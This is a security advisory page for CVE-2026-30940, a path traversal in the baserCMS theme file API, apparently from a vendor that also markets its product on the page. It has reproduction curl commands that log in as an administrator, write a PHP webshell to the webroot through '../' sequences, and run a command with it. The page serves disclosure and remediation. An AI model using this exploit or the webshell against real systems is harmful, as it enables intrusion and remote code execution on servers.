CVE-2026-30940

CVE-2026-30940 is a high-severity path traversal vulnerability in baserproject/basercms (composer), affecting versions <= 5.2.2. It is fixed in 5.2.3.

Summary

A path traversal vulnerability exists in the baserCMS 5.x theme file management API (/baser/api/admin/bc-theme-file/theme_files/add.json) that allows arbitrary file write.

An authenticated administrator can include ../ sequences in the path parameter to create a PHP file in an arbitrary directory outside the theme directory, which may result in remote code execution (RCE).

Affected Code

File: plugins/bc-theme-file/src/Service/BcThemeFileService.php

public function getFullpath(string $theme, string $plugin, string $type, string $path)
{
    // ...
    return $viewPath . $type . DS . $path;  // $path is not sanitized
}

Attack Scenario

  1. The attacker compromises an administrator account (password leak, brute force, etc.)
  2. Obtains an access token via API login
  3. Specifies path: "../../../../webroot/" in the theme file creation API
  4. A PHP file is created in the webroot
  5. The attacker accesses the created PHP file to achieve RCE

Reproduction Steps

# 1. Login
curl -X POST "http://target/baser/api/admin/baser-core/users/login.json" \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"password"}'

# 2. Create webshell
curl -X POST "http://target/baser/api/admin/bc-theme-file/theme_files/add.json" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "theme": "BcThemeSample",
    "plugin": "",
    "type": "layout",
    "path": "../../../../webroot/",
    "base_name": "shell",
    "ext": "php",
    "contents": "<?php system($_GET[\"cmd\"]); ?>"
  }'

# 3. RCE
curl "http://target/shell.php?cmd=id"

Vulnerability Details

Item Details
CWE CWE-22: Path Traversal, CWE-73: External Control of File Name or Path
Impact Arbitrary file write, Remote Code Execution (RCE)
Attack Prerequisites Administrator privileges + API enabled (USE_CORE_ADMIN_API=true), or chaining with XSS, etc.
Reproducibility High (PoC verified)
Test Environment baserCMS 5.x (Docker environment)

Additional Notes on Attack Prerequisites

  • When API is enabled (USE_CORE_ADMIN_API=true): API calls can be made externally using JWT token authentication. Direct exploitation is possible.
  • Default settings (USE_CORE_ADMIN_API=false): Direct external API calls are prohibited. CSRF protection is also active, so this vulnerability alone cannot be exploited. An exploit chain involving XSS or similar is required.

Comparison with Other CMS

WordPress's theme editor only allows editing within wp-content/themes/ and does not permit writes outside that directory. CVE-2019-8943 was reported as a path traversal vulnerability in wp_crop_image() that allowed writing cropped image output to an arbitrary directory by including ../ in the filename.

This vulnerability is not a matter of "administrators being able to execute arbitrary code" by design, but rather stems from a security boundary violation where "the theme editing function can write outside the theme directory (to webroot, config, etc.)."

Resources

This advisory was translated from Japanese to English using GitHub Copilot.

Impact

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-30940 has a CVSS score of 7.2 (High). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.2.3); upgrading removes the vulnerable code path.

Affected versions

baserproject/basercms (<= 5.2.2)

Security releases

baserproject/basercms → 5.2.3 (composer)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Rather than relying on simple string replacement or blacklist checks of input, the canonicalized path (using realpath(), etc.) should be verified to be within the theme base directory after file creation or immediately before writing. If the path falls outside the boundary, the operation should be rejected.

The specific implementation location and method are left to the project's design decisions.

Frequently Asked Questions

  1. What is CVE-2026-30940? CVE-2026-30940 is a high-severity path traversal vulnerability in baserproject/basercms (composer), affecting versions <= 5.2.2. It is fixed in 5.2.3. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
  2. How severe is CVE-2026-30940? CVE-2026-30940 has a CVSS score of 7.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of baserproject/basercms are affected by CVE-2026-30940? baserproject/basercms (composer) versions <= 5.2.2 is affected.
  4. Is there a fix for CVE-2026-30940? Yes. CVE-2026-30940 is fixed in 5.2.3. Upgrade to this version or later.
  5. Is CVE-2026-30940 exploitable, and should I be worried? Whether CVE-2026-30940 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-30940 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-30940? Upgrade baserproject/basercms to 5.2.3 or later.

Other vulnerabilities in baserproject/basercms

CVE-2026-32734CVE-2026-30940CVE-2026-30880CVE-2026-30879CVE-2026-30877

Stop the waste.
Protect your environment with Kodem.